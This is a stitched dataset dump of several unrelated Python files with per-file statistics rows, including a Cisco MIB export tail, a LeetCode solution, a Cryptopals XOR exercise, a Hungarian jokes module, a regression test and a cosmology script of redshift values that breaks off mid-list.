cotvOverlaySecondaryAdjServerAddrType=cotvOverlaySecondaryAdjServerAddrType, cotvOverlayAedIncapableReason=cotvOverlayAedIncapableReason, cotvSiteObjects=cotvSiteObjects, ciscoOtvArpNdCacheGroup=ciscoOtvArpNdCacheGroup, cotvAdjacentDevSystemID=cotvAdjacentDevSystemID, cotvMcastRouteEntry=cotvMcastRouteEntry, ciscoOtvMIBObjects=ciscoOtvMIBObjects, cotvMcastRouteTable=cotvMcastRouteTable, cotvVlanAedAddrType=cotvVlanAedAddrType, cotvVlanInactiveReason=cotvVlanInactiveReason, ciscoOtvSiteGroup=ciscoOtvSiteGroup, cotvDataGroupMcastRangeAddr=cotvDataGroupMcastRangeAddr, cotvOverlaySecondaryAdjServerAddr=cotvOverlaySecondaryAdjServerAddr, cotvAdjacentDevName=cotvAdjacentDevName, ciscoOtvMIBConform=ciscoOtvMIBConform, cotvRouteTable=cotvRouteTable, cotvMcastRouteInfoIf=cotvMcastRouteInfoIf, cotvMcastRouteInfoHostAddrType=cotvMcastRouteInfoHostAddrType, cotvDataGroupMcastRangePrefixLength=cotvDataGroupMcastRangePrefixLength, cotvSiteVlanState=cotvSiteVlanState, ciscoOtvDataGroupConfigGroup=ciscoOtvDataGroupConfigGroup, cotvSiteIdOper=cotvSiteIdOper, cotvDataGroupActiveSrcAddr=cotvDataGroupActiveSrcAddr, cotvOverlayControlGroupAddr=cotvOverlayControlGroupAddr, cotvVlanAedAddr=cotvVlanAedAddr, cotvMcastRouteInfoActiveSrcAddr=cotvMcastRouteInfoActiveSrcAddr, cotvDataGroupRowStatus=cotvDataGroupRowStatus, cotvOverlayVlansExtendedSecond2k=cotvOverlayVlansExtendedSecond2k, cotvOverlayJoinInterface=cotvOverlayJoinInterface, cotvMcastRouteMetric=cotvMcastRouteMetric, cotvAdjacentDevAddrType=cotvAdjacentDevAddrType, ciscoOtvMIB=ciscoOtvMIB, cotvDataGroupDeliverySrcAddrType=cotvDataGroupDeliverySrcAddrType, cotvDataGroupStorageType=cotvDataGroupStorageType, cotvOverlayNumber=cotvOverlayNumber, cotvMcastRouteUpTime=cotvMcastRouteUpTime, cotvOverlayRowStatus=cotvOverlayRowStatus, cotvOverlayBroadcastGroupAddrType=cotvOverlayBroadcastGroupAddrType, cotvMcastRouteInfoVlanId=cotvMcastRouteInfoVlanId, cotvDataGroupDeliveryGroupAddr=cotvDataGroupDeliveryGroupAddr, cotvAdjacencyObjects=cotvAdjacencyObjects, cotvOverlayPrimaryAdjServerAddrType=cotvOverlayPrimaryAdjServerAddrType, cotvMcastRouteInfoEntry=cotvMcastRouteInfoEntry, cotvMcastRouteActiveGroupAddrType=cotvMcastRouteActiveGroupAddrType, cotvOverlayAdjServerTransportType=cotvOverlayAdjServerTransportType, cotvRouteMacAddr=cotvRouteMacAddr, ciscoOtvMIBCompliances=ciscoOtvMIBCompliances, cotvOverlayVlansExtendedFirst2k=cotvOverlayVlansExtendedFirst2k, cotvOverlaySourceInterface=cotvOverlaySourceInterface, ciscoOtvVlanGroup=ciscoOtvVlanGroup, cotvArpNdCacheL3AddrType=cotvArpNdCacheL3AddrType, cotvSiteVlan=cotvSiteVlan, cotvDataGroupJoinInterface=cotvDataGroupJoinInterface, ciscoOtvRouteGroup=ciscoOtvRouteGroup, cotvAdjacentDevState=cotvAdjacentDevState, cotvDataGroupVlanId=cotvDataGroupVlanId, cotvOverlayStorageType=cotvOverlayStorageType, cotvArpNdCacheTimeToExpire=cotvArpNdCacheTimeToExpire, cotvMcastRouteActiveSrcAddr=cotvMcastRouteActiveSrcAddr, ciscoOtvAdjacencyGroup=ciscoOtvAdjacencyGroup, cotvMcastRouteVlanId=cotvMcastRouteVlanId, cotvOverlayVpnName=cotvOverlayVpnName, cotvRouteOwner=cotvRouteOwner, ciscoOtvMcastRouteGroup=ciscoOtvMcastRouteGroup, cotvDataGroupInfoEntry=cotvDataGroupInfoEntry, cotvDataGroupActiveGroupAddrType=cotvDataGroupActiveGroupAddrType, cotvRouteObjects=cotvRouteObjects, cotvMcastRouteActiveGroupAddr=cotvMcastRouteActiveGroupAddr, cotvOverlayPrimaryAdjServerAddr=cotvOverlayPrimaryAdjServerAddr, cotvMcastRouteActiveSrcAddrType=cotvMcastRouteActiveSrcAddrType, cotvGlobalStatsObjects=cotvGlobalStatsObjects, cotvAdjacencyDatabaseTable=cotvAdjacencyDatabaseTable, cotvRouteNextHopAddr=cotvRouteNextHopAddr, cotvArpNdObjects=cotvArpNdObjects, cotvGlobalObjects=cotvGlobalObjects, cotvMcastRouteInfoUpTime=cotvMcastRouteInfoUpTime, cotvSiteIdAdmin=cotvSiteIdAdmin, cotvRouteMetric=cotvRouteMetric, cotvOverlayObjects=cotvOverlayObjects, cotvOverlayEntry=cotvOverlayEntry, cotvOverlayTable=cotvOverlayTable, cotvMcastRouteInfoHostAddr=cotvMcastRouteInfoHostAddr, cotvRouteVlanId=cotvRouteVlanId, cotvDataGroupConfigTable=cotvDataGroupConfigTable, cotvOverlaySuppressArpND=cotvOverlaySuppressArpND, cotvVlanEdgeDevIsAed=cotvVlanEdgeDevIsAed, ciscoOtvDataGroupInfoGroup=ciscoOtvDataGroupInfoGroup, cotvArpNdCacheAge=cotvArpNdCacheAge, ciscoOtvOverlayGroup=ciscoOtvOverlayGroup, cotvAdjacencyDatabaseEntry=cotvAdjacencyDatabaseEntry, cotvAdjacentDevAddr=cotvAdjacentDevAddr, cotvOverlayAdjServerEnable=cotvOverlayAdjServerEnable, cotvDataGroupConfigEntry=cotvDataGroupConfigEntry, cotvMcastRouteInfoActiveGroupAddr=cotvMcastRouteInfoActiveGroupAddr, cotvDataGroupInfoTable=cotvDataGroupInfoTable)
| 167.841975 | 6,409 | 0.792338 | 7,853 | 67,976 | 6.858271 | 0.089265 | 0.0508 | 0.0889 | 0.009655 | 0.465279 | 0.354803 | 0.300995 | 0.274592 | 0.239797 | 0.208734 | 0 | 0.041126 | 0.095725 | 67,976 | 404 | 6,410 | 168.257426 | 0.835055 | 0.004708 | 0 | 0.03038 | 0 | 0.103797 | 0.383816 | 0.044067 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.03038 | 0 | 0.03038 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ce747e944d4e09e771fb268abe9046006ee16cf4 | 689 | py | Python | src/87. Scramble String.py | wisesky/LeetCode-Practice | 65549f72c565d9f11641c86d6cef9c7988805817 | [
"MIT"
] | null | null | null | src/87. Scramble String.py | wisesky/LeetCode-Practice | 65549f72c565d9f11641c86d6cef9c7988805817 | [
"MIT"
] | null | null | null | src/87. Scramble String.py | wisesky/LeetCode-Practice | 65549f72c565d9f11641c86d6cef9c7988805817 | [
"MIT"
] | null | null | null | from collections import Counter
class Solution:
def isScramble(self, s1: str, s2: str) -> bool:
if s1 == s2:
return True
#print(s1, s2)
if Counter(s1) != Counter(s2):
return False
for i in range(1, len(s1)):
if self.isScramble(s1[ :i], s2[ :i]) & self.isScramble(s1[i: ], s2[i: ]):
return True
if self.isScramble(s1[ :i], s2[-i: ]) & self.isScramble(s1[i: ], s2[ :-i]):
return True
return False
if __name__ == "__main__":
s1 = 'abced'
s2 = 'caebd'
# s1 = 'abcdefghijklmn'
# s2 = 'efghijklmncadb'
so = Solution()
print(so.isScramble(s1,s2))
| 29.956522 | 87 | 0.515239 | 86 | 689 | 4.034884 | 0.360465 | 0.172911 | 0.184438 | 0.195965 | 0.299712 | 0.299712 | 0.299712 | 0.299712 | 0.299712 | 0.299712 | 0 | 0.052288 | 0.333817 | 689 | 22 | 88 | 31.318182 | 0.703704 | 0.082729 | 0 | 0.277778 | 0 | 0 | 0.028617 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.055556 | 0 | 0.444444 | 0.055556 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ce7ec53683f6487262bd1a3b42693596861a603b | 330 | py | Python | polymorphic_tree/__init__.py | g3rd/django-polymorphic-tree | ce9faebf2139d3f12e7b3a6e125e1273e26ad42d | [
"Apache-2.0"
] | 1 | 2020-02-18T05:07:09.000Z | 2020-02-18T05:07:09.000Z | polymorphic_tree/__init__.py | g3rd/django-polymorphic-tree | ce9faebf2139d3f12e7b3a6e125e1273e26ad42d | [
"Apache-2.0"
] | null | null | null | polymorphic_tree/__init__.py | g3rd/django-polymorphic-tree | ce9faebf2139d3f12e7b3a6e125e1273e26ad42d | [
"Apache-2.0"
] | null | null | null | # following PEP 386
__version__ = "1.0b1"
# Do some sane version checking
import django
import mptt
if django.VERSION < (1,3,0):
raise ImportError("At least Django 1.3.0 is required to run this application")
if mptt.VERSION < (0,5,1):
raise ImportError("At least django-mptt 0.5.1 is required to run this application")
| 25.384615 | 87 | 0.724242 | 56 | 330 | 4.196429 | 0.482143 | 0.068085 | 0.025532 | 0.195745 | 0.502128 | 0.255319 | 0 | 0 | 0 | 0 | 0 | 0.066176 | 0.175758 | 330 | 12 | 88 | 27.5 | 0.797794 | 0.142424 | 0 | 0 | 0 | 0 | 0.442857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.571429 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
ce9ce93cadd5696f32abb4c6dbd7e8b867c78574 | 1,270 | py | Python | set1/crypto3.py | walshman23/Cryptopals | 194163d0feb9f1b7df1183325475555c903d895e | [
"BSD-3-Clause"
] | null | null | null | set1/crypto3.py | walshman23/Cryptopals | 194163d0feb9f1b7df1183325475555c903d895e | [
"BSD-3-Clause"
] | null | null | null | set1/crypto3.py | walshman23/Cryptopals | 194163d0feb9f1b7df1183325475555c903d895e | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/python
# // ------------------------------------------------------------
#
# 3. Single-character XOR Cipher
#
# The hex encoded string:
#
# 1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736
#
# ... has been XOR'd against a single character. Find the key, decrypt
# the message.
#
# Write code to do this for you. How? Devise some method for "scoring" a
# piece of English plaintext. (Character frequency is a good metric.)
# Evaluate each output and choose the one with the best score.
#
# Tune your algorithm until this works.
import sys
sys.path.insert(1, "../common") # Want to locate modules in our 'common' directory
import binascii
import string
import utils
import ltrfreq
b = binascii.unhexlify("1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736") # Given
scores = []
results = []
for key in range(256):
candidatebuf = utils.xor(key, b)
scores.append(ltrfreq.totcscore(candidatebuf) + ltrfreq.norvigscore(candidatebuf)) # Score this candidate buffer, add its score to list
spiffy = utils.SpiffyPrint(candidatebuf)
print scores[key] , key, spiffy
results.append(spiffy)
print "Highest score is", max(scores), " Sekrit message is", results[scores.index(max(scores))]
| 21.525424 | 136 | 0.701575 | 151 | 1,270 | 5.900662 | 0.622517 | 0.03367 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111528 | 0.159843 | 1,270 | 58 | 137 | 21.896552 | 0.723524 | 0.504724 | 0 | 0 | 0 | 0 | 0.183471 | 0.112397 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.3125 | null | null | 0.125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
ce9de8a063551e97f1ec3b2c37a587a56420937c | 1,301 | py | Python | pyjokes/jokes_hu.py | EVA-FMRP/pyjokes | b7d808759a2b329e42e762cec38221c3ce78ce7b | [
"BSD-3-Clause"
] | null | null | null | pyjokes/jokes_hu.py | EVA-FMRP/pyjokes | b7d808759a2b329e42e762cec38221c3ce78ce7b | [
"BSD-3-Clause"
] | null | null | null | pyjokes/jokes_hu.py | EVA-FMRP/pyjokes | b7d808759a2b329e42e762cec38221c3ce78ce7b | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Most of the jokes are from https://viccfaktor.hu/cimke/programozo-viccek/, and https://gremmedia.hu/programozo-viccek
//
A viccek nagy része a https://viccfaktor.hu/cimke/programozo-viccek/ weboldalról és a https://gremmedia.hu/programozo-viccek weboldalról származik
"""
neutral = [
"- Miért keveri a programozó a Halloween-t a Karácsonnyal? - ??? - Mert az egyik oct 31 a másik meg dec 25.",
"Két programozó beszélget: - Milyen a kedved? - Egész változó... - Integer???",
"- Mire táncolnak a programozók a buliban? - Algoritmusra.",
"10-féle ember létezik. Az egyik ismeri a bináris számrendszert, a másik nem.",
"- Hogyan próbálnak meggazdagodni az objektumorientált programozók? - ??? - Öröklődés által.",
"- Mi a teendő tűz esetén? - ??? - 1. `git add .` 2. `git commit` 3. `git push` 4. hagyjuk el az épületet",
"- Mit csinál a backend fejlesztő, amikor sikeresen megváltoztat valamit CSS-ben? - ??? - Beírja az önéletrajzába, hogy full stack fejlesztő",
"- Hogy hívsz nyolc hobbitot? - ??? - Egy hobbyte."
]
chuck = [
"- Miért Chuck Norris a világ legjobb programozója? - ??? - Mert olyan kódot ír, ami saját magát képes optimalizálni."
]
jokes_hu = {
'neutral': neutral,
'chuck': chuck,
'all': neutral + chuck,
}
| 44.862069 | 146 | 0.679477 | 168 | 1,301 | 5.255952 | 0.678571 | 0.07248 | 0.038505 | 0.04983 | 0.15855 | 0.08607 | 0 | 0 | 0 | 0 | 0 | 0.010397 | 0.186779 | 1,301 | 28 | 147 | 46.464286 | 0.824197 | 0.222905 | 0 | 0 | 0 | 0.222222 | 0.82652 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
cea428cf4157b43d2e863de6c2b70db9ce6e9719 | 1,754 | py | Python | integration-tests/tests/model_lasso_test.py | skavulya/atk | c83f0bee2530282e39bf28d4a15355561b5eca4d | [
"Apache-2.0"
] | null | null | null | integration-tests/tests/model_lasso_test.py | skavulya/atk | c83f0bee2530282e39bf28d4a15355561b5eca4d | [
"Apache-2.0"
] | null | null | null | integration-tests/tests/model_lasso_test.py | skavulya/atk | c83f0bee2530282e39bf28d4a15355561b5eca4d | [
"Apache-2.0"
] | null | null | null | # vim: set encoding=utf-8
#
# Copyright (c) 2015 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import sys
print "path=%s" % sys.path
import unittest
import trustedanalytics as ta
# show full stack traces
ta.errors.show_details = True
ta.loggers.set_api()
# TODO: port setup should move to a super class
if ta.server.port != 19099:
ta.server.port = 19099
ta.connect()
class ModelLassoTest(unittest.TestCase):
def test_lasso(self):
print "create frame"
frame = ta.Frame(ta.CsvFile("/datasets/lasso_lpsa.csv", schema=[
('y', ta.float64),
('x1', ta.float64),
('x2', ta.float64),
('x3', ta.float64),
('x4', ta.float64),
('x5', ta.float64),
('x6', ta.float64),
('x7', ta.float64),
('x8', ta.float64)], delimiter=' '))
model = ta.LassoModel()
model.train(frame, 'y', ['x1','x2','x3','x4','x5','x6','x7','x8'])
#print repr(train_output)
predicted_frame = model.predict(frame)
print predicted_frame.inspect(20, columns=['y', 'predicted_value'])
test_metrics = model.test(predicted_frame, 'predicted_value')
print str(test_metrics)
| 29.233333 | 75 | 0.6374 | 236 | 1,754 | 4.686441 | 0.567797 | 0.073237 | 0.023508 | 0.028933 | 0.03255 | 0 | 0 | 0 | 0 | 0 | 0 | 0.040892 | 0.233181 | 1,754 | 59 | 76 | 29.728814 | 0.781413 | 0.391676 | 0 | 0 | 0 | 0 | 0.104107 | 0.022923 | 0 | 0 | 0 | 0.016949 | 0 | 0 | null | null | 0 | 0.107143 | null | null | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
cea9840e6ca42629b0260620f06f2a75be3db1e4 | 507 | py | Python | python/easy/(92) penultimate-word.py | tdsymonds/codeeval | 9f41143526661852d3d6473590deb65803e8037c | [
"MIT"
] | null | null | null | python/easy/(92) penultimate-word.py | tdsymonds/codeeval | 9f41143526661852d3d6473590deb65803e8037c | [
"MIT"
] | null | null | null | python/easy/(92) penultimate-word.py | tdsymonds/codeeval | 9f41143526661852d3d6473590deb65803e8037c | [
"MIT"
] | null | null | null | import sys
with open(sys.argv[1], 'r') as f:
for line in f.readlines():
if line:
line = line.strip()
# find the last space and trim
last_space = line[::-1].find(' ')
line = line[:-last_space-1]
# find the next last space and trim
# if needed.
last_space = line[::-1].find(' ')
if last_space == -1:
print line
else:
print line[-last_space:] | 31.6875 | 48 | 0.447732 | 61 | 507 | 3.639344 | 0.409836 | 0.283784 | 0.108108 | 0.144144 | 0.162162 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017483 | 0.435897 | 507 | 16 | 49 | 31.6875 | 0.758741 | 0.143984 | 0 | 0.166667 | 0 | 0 | 0.007212 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.083333 | null | null | 0.166667 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ceaedeef326186d73599de3f5d647d7843d45882 | 37,399 | py | Python | zprev versions/Models_py_backup/garage.py | lefthandedroo/Cosmodels | c355d18021467cf92546cf2fc9cb1d1abe59b8d8 | [
"MIT"
] | null | null | null | zprev versions/Models_py_backup/garage.py | lefthandedroo/Cosmodels | c355d18021467cf92546cf2fc9cb1d1abe59b8d8 | [
"MIT"
] | null | null | null | zprev versions/Models_py_backup/garage.py | lefthandedroo/Cosmodels | c355d18021467cf92546cf2fc9cb1d1abe59b8d8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Sep 21 15:50:29 2017
@author: BallBlueMeercat
"""
#import csv
#with open('Amanullah.txt') as f:
# reader = csv.reader(f, delimiter="\t")
# d = list(reader)
#print(d[5][:]) # 248
#import pandas as pd
#pd.read_csv('Amanullah.txt', delim_whitespace=True)
import numpy as np
zpicks1 =[0.028488
,0.050043
,0.052926
,0.070086
,0.062668
,0.087589
,0.078577
,0.017227
,0.042233
,0.045295
,0.03648
,0.019599
,0.100915
,0.027342
,0.074605
,0.026489
,0.049922
,0.030604
,0.016345641
,0.0154363
,0.030529
,0.024525
,0.023953
,0.026038
,0.048948
,0.024314
,0.015166
,0.03572
,0.048818
,0.0219800059146
,0.0275
,0.1244
,0.036
,0.01673
,0.016321
,0.021793
,0.01645
,0.023208
,0.036457
,0.019264
,0.017605
,0.031528
,0.023536
,0.016743
,0.05371
,0.016991
,0.027865
,0.017173
,0.029955
,0.016559
,0.015
,0.0544
,0.1561
,0.0393
,0.1241
,0.1441
,0.1299
,0.0784
,0.0583
,0.0309
,0.0406
,0.0152
,0.0224
,0.016
,0.0362
,0.0173
,0.0312
,0.0221
,0.016
,0.0249
,0.0303
,0.0283
,0.0152
,0.0345
,0.036
,0.0248
,0.0292
,0.0163
,0.0187
,0.0195
,0.0256
,0.0337
,0.0546
,0.024
,0.0336
,0.0341
,0.0261
,0.0211
,0.0321
,0.0221
,0.0298
,0.0334
,0.0284
,0.0341
,0.045
,0.0421
,0.0576
,0.033
,0.0753
,0.0204
,0.0205
,0.0402
,0.026
,0.0259
,0.0268
,0.0239
,0.069
,0.0651
,0.0229
,0.018
,0.0315
,0.0215
,0.0255
,0.0325
,0.0843
,0.0308
,0.0327
,0.0423
,0.0684
,0.0153
,0.0233
,0.0491
,0.0425
,0.0192
,0.0308
,0.0212
,0.0277
,0.0335
,0.0208
,0.0173
,0.036
,0.0233
,0.0589
,0.0583
,0.0688
,0.0321
,0.0522
,0.0308
,0.0329
,0.023
,0.015
,0.0321
,0.0643
,0.032
,0.0209
,0.0219
,0.032
,0.0151
,0.0192
,0.0266
,0.0377
,0.0247
,0.0242
,0.0366
,0.0229
,0.0312
,0.015
,0.0341
,0.0251
,0.0189
,0.065
,0.147
,0.13
,0.104
,0.244
,0.3
,0.045
,0.114
,0.258
,0.297
,0.382
,0.147
,0.274
,0.299
,0.38
,0.382
,0.303
,0.35
,0.087
,0.262
,0.217
,0.119
,0.183
,0.359
,0.143
,0.262
,0.234
,0.153
,0.095
,0.288
,0.195
,0.148
,0.213
,0.181
,0.265
,0.193
,0.34
,0.118
,0.143
,0.162
,0.29
,0.124
,0.265
,0.127
,0.174
,0.165
,0.251
,0.259
,0.108
,0.161
,0.206
,0.245
,0.25
,0.23
,0.087
,0.063
,0.279
,0.277
,0.156
,0.332
,0.363
,0.332
,0.146
,0.39
,0.175
,0.301
,0.117
,0.22
,0.121
,0.156
,0.41
,0.179
,0.252
,0.253
,0.393
,0.13
,0.401
,0.311
,0.172
,0.28
,0.31
,0.187
,0.067
,0.318
,0.259
,0.3
,0.272
,0.281
,0.294
,0.19
,0.267
,0.125
,0.184
,0.314
,0.311
,0.09
,0.404
,0.202
,0.328
,0.213
,0.181
,0.094
,0.304
,0.11
,0.087
,0.204
,0.198
,0.128
,0.216
,0.322
,0.219
,0.191
,0.094
,0.381
,0.212
,0.368
,0.422
,0.259
,0.185
,0.214
,0.361
,0.395
,0.116
,0.145
,0.254
,0.389
,0.35
,0.257
,0.218
,0.43
,0.62
,0.57
,0.3
,0.38
,0.43
,0.24
,0.44
,0.5
,0.97
,0.479
,0.83
,0.416
,0.581
,0.45
,0.579
,0.32
,0.657
,0.43
,0.472
,0.374
,0.18
,0.55
,0.592
,0.172
,0.526
,0.763
,0.58
,0.43
,0.45
,0.656
,0.495
,0.49
,0.57
,0.388
,0.45
,0.48
,0.615
,0.4
,0.655
,0.498
,0.465
,0.453
,0.425
,0.514
,0.423
,0.859
,0.936
,0.528
,0.978
,0.885
,0.815
,0.698
,0.568
,0.711
,0.3396
,0.3965
,0.812
,0.799
,0.882
,0.833
,0.874
,0.772
,0.178
,0.26
,0.186
,0.269
,0.215
,0.543
,0.75
,0.64
,0.43
,0.64
,0.497
,0.44
,0.355
,0.78
,0.54
,0.86
,0.468
,0.84
,0.96
,0.8218
,0.93
,0.451
,0.61
,0.83
,0.707
,0.415
,0.557
,0.791
,0.695
,0.633
,0.2486
,0.532
,0.331
,0.346
,0.961
,0.613
,0.3402
,0.983
,0.71
,0.73
,0.47
,0.62
,0.521
,0.369
,0.571
,0.604
,0.9271
,0.285
,0.2912
,0.548
,0.868
,0.496
,0.811
,0.756
,0.817
,0.752
,0.5516
,0.3578
,1.01
,0.741
,0.43
,0.526
,0.592
,0.905
,0.949
,0.4607
,0.3709
,0.8
,0.679
,0.5817
,0.55
,0.81
,0.95
,0.3373
,0.91
,0.263
,0.643
,0.691
,0.357
,0.721
,0.581
,0.6268
,0.818
,0.4627
,0.449
,0.688
,0.87
,0.5043
,0.591
,0.426
,0.329
,0.583
,0.519
,0.401
,0.205
,0.34
,0.436
,0.363
,0.436
,0.309
,0.342
,0.159
,0.332
,0.469
,0.239
,0.352
,0.612
,0.631
,0.645
,0.429
,0.497
,0.539
,0.561
,0.41
,0.412
,0.599
,0.619
,0.422
,0.54
,0.401
,0.218
,0.633
,0.383
,0.302
,0.34
,0.51
,0.421
,0.399
,0.493
,0.687
,0.687
,0.495
,0.603
,0.421
,0.348
,0.213
,0.344
,0.271
,0.564
,0.274
,0.181
,0.582
,0.68
,0.401
,0.416
,0.286
,0.562
,0.266
,0.314
,0.581
,0.463
,0.341
,0.631
,0.522
,0.368
,0.309
,0.528
,0.216
,0.284
,0.508
,0.781
,0.613
,0.278
,0.477
,0.95
,1.057
,0.816
,0.455
,1.02
,1.14
,0.854
,1.37
,0.975
,0.97
,0.74
,1.39
,0.46
,1.02
,1.12
,1.23
,1.19
,0.839
,1.01
,0.521
,0.475
,0.95
,1.3
,1.4
,1.305
,0.216
,0.735
,1.14
,1.307
,1.265
,0.67
,0.64
,1.34
,0.84
,0.935
,0.953
,1.124
,0.552
,0.671
,0.511
,1.03]
zpicks2 = [0.226143925635
,0.167114251513
,0.155866408242
,0.158669048234
,0.156270379521
,0.189597973592
,0.155790553548
,0.199535140164
,0.167648033398
,0.165271499987
,0.170400148449
,0.184736519598
,0.167818465426
,0.175738040875
,0.160110641392
,0.19147874559
,0.162480236617
,0.173537588946
,0.14402997371
,0.149773066605
,0.0905547451176
,0.10395529982
,0.108670309216
,0.110164462529
,0.175878781605
,0.184772695826
,0.21780640315
,0.17455423199
,0.163660035553
,0.190634594378
,0.179523627555
,0.167742220247
,0.171121785922
,0.212053128352
,0.207622958381
,0.231469837469
,0.250007930671
,0.230453431037
,0.216601021623
,0.239750047895
,0.270777214079
,0.224419994663
,0.233717264297
,0.247451826306
,0.220796341332
,0.308392297269
,0.221390433935
,0.247302669853
,0.223360506658
,0.25040542174
,0.160930618134
,0.0851859276563
,0.0831803243516
,0.0983616480332
,0.110959981085
,0.156387993518
,0.129040616704
,0.0863760987398
,0.199697931638
,0.176677068679
,0.164649900237
,0.209050001205
,0.232580853069
,0.215338744788
,0.164155647932
,0.210066600914
,0.173133567729
,0.183198718389
,0.201710026772
,0.187033320457
,0.169350596107
,0.172739361028
,0.236356060735
,0.205416560749
,0.171522593533
,0.177535782419
,0.167312607114
,0.206892325236
,0.190583331504
,0.191040914154
,0.179228108521
,0.172930780679
,0.16950794454
,0.189072007408
,0.181737645865
,0.167946113517
,0.185600393489
,0.18146401803
,0.166313999169
,0.182214269008
,0.209882805071
,0.168522663763
,0.168292526178
,0.165324028128
,0.155012862381
,0.162357046505
,0.153692702221
,0.164165671037
,0.152378958895
,0.188558589288
,0.184564810559
,0.162967150273
,0.176878840961
,0.171154394323
,0.17097815303
,0.174177026864
,0.169085209011
,0.154689426092
,0.178350941227
,0.190930640521
,0.163304382923
,0.180036324178
,0.189515900553
,0.162662308732
,0.193449865152
,0.171179303431
,0.161712348214
,0.16403631389
,0.162821861461
,0.207155778089
,0.176317048358
,0.168279067414
,0.188970108359
,0.191424646957
,0.165778427196
,0.18474579249
,0.176243118914
,0.162762916979
,0.195361399576
,0.215091501139
,0.169897387897
,0.178698403151
,0.157634614976
,0.160351225061
,0.191426088364
,0.167577472063
,0.182864275271
,0.164890394315
,0.162681757891
,0.179840694371
,0.211404589303
,0.166296974492
,0.158132776968
,0.186494110705
,0.187650195008
,0.181514604995
,0.165934850147
,0.207587590171
,0.190576794911
,0.170306255652
,0.290373531881
,0.174379321042
,0.172887454113
,0.16122683881
,0.175847772194
,0.166284241086
,0.207266601483
,0.170422924262
,0.171895520078
,0.20380344245
,0.120378117628
,0.121080634003
,0.135784293243
,0.12064387065
,0.150780305961
,0.215824546738
,0.127260196442
,0.120017551192
,0.157083138554
,0.215462354547
,0.220813701877
,0.126442356391
,0.164190866001
,0.204243298637
,0.197647141922
,0.199423960287
,0.246333608197
,0.218357189469
,0.117239118491
,0.142760435008
,0.140960118616
,0.114480614211
,0.120171462823
,0.202932960788
,0.12033040226
,0.149344667277
,0.152379820049
,0.114718538439
,0.118788973643
,0.134501367232
,0.127181263793
,0.112499009039
,0.16065563488
,0.116442235995
,0.128294661027
,0.121960815999
,0.17167768821
,0.114590986149
,0.114524011818
,0.119565350744
,0.150676952536
,0.122100457699
,0.140962475796
,0.120227176144
,0.114282533804
,0.113957220599
,0.133182501728
,0.136851565925
,0.118564236278
,0.115619678811
,0.124355782411
,0.12515209647
,0.126539062794
,0.122886919759
,0.113367509506
,0.116292465656
,0.170515825332
,0.143749208555
,0.116301202618
,0.157824605437
,0.167338045039
,0.153791748359
,0.113634577753
,0.202376651268
,0.129902757627
,0.152785577721
,0.113090217803
,0.117918087643
,0.111553736186
,0.112833879905
,0.208370772279
,0.125612605347
,0.121669684179
,0.119228104024
,0.171808246679
,0.110314772736
,0.20749905315
,0.135622441007
,0.117223091751
,0.13095448346
,0.177971613506
,0.12145112418
,0.118306255874
,0.192756486723
